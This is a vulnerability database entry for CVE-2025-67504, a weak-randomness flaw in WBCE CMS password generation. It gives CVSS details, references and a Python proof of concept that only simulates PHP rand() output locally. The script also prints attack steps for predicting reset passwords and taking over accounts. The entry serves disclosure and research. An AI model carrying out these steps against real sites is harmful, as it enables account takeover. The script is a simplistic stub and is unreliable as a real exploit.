Security Vulnerability Report
中文
CVE-2025-67504 CVSS 9.1 CRITICAL

CVE-2025-67504

Published: 2025-12-09 16:18:24
Last Modified: 2025-12-11 15:52:28

Description

WBCE CMS is a content management system. Versions 1.6.4 and below use function GenerateRandomPassword() to create passwords using PHP's rand(). rand() is not cryptographically secure, which allows password sequences to be predicted or brute-forced. This can lead to user account compromise or privilege escalation if these passwords are used for new accounts or password resets. The vulnerability is fixed in version 1.6.5.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wbce:wbce_cms:*:*:*:*:*:*:*:* - VULNERABLE
WBCE CMS <= 1.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-67504 PoC - WBCE CMS 弱随机数密码生成攻击 注意:此代码仅供安全研究和授权测试使用 """ import subprocess import sys def check_php_rand_weakness(): """检查PHP rand()函数的弱点""" php_code = ''' <?php // 模拟WBCE CMS的GenerateRandomPassword()函数 function GenerateRandomPassword($length = 12) { $password = ''; for ($i = 0; $i < $length; $i++) { $password .= chr(rand(33, 126)); } return $password; } // 生成多个密码观察规律 for ($i = 0; $i < 10; $i++) { srand($i); // 模拟不同种子 echo "Seed $i: " . GenerateRandomPassword() . "\n"; } ?> ''' try: result = subprocess.run( ['php', '-r', php_code], capture_output=True, text=True, timeout=10 ) print("[+] PHP rand() 输出模式分析:") print(result.stdout) if result.stderr: print("[-] Error:", result.stderr) except FileNotFoundError: print("[-] PHP未安装,跳过本地测试") def check_wbce_version(target_url): """检查目标WBCE CMS版本""" print(f"\n[*] 检查目标版本: {target_url}") # 此处需要实际HTTP请求来检测版本 pass def main(): print("=" * 60) print("CVE-2025-67504 PoC - WBCE CMS 弱随机数密码生成") print("=" * 60) check_php_rand_weakness() print("\n[*] 攻击步骤:") print("1. 识别目标网站使用的WBCE CMS版本") print("2. 利用密码重置功能获取预测密码") print("3. 使用预测密码登录受害者账户") print("4. 执行权限提升或数据窃取") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67504", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:24.237", "lastModified": "2025-12-11T15:52:28.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WBCE CMS is a content management system. Versions 1.6.4 and below use function GenerateRandomPassword() to create passwords using PHP's rand(). rand() is not cryptographically secure, which allows password sequences to be predicted or brute-forced. This can lead to user account compromise or privilege escalation if these passwords are used for new accounts or password resets. The vulnerability is fixed in version 1.6.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-331"}, {"lang": "en", "value": "CWE-338"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wbce:wbce_cms:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.5", "matchCriteriaId": "D38CBB88-838C-4D43-B04B-0923D07D2F08"}]}]}], "references": [{"url": "https://cwe.mitre.org/data/definitions/338.html", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://github.com/WBCE/WBCE_CMS/commit/5d59fe021a5c6e469b1bf192b72ca652e54278f6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-76gj-pmvx-jcc6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-76gj-pmvx-jcc6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}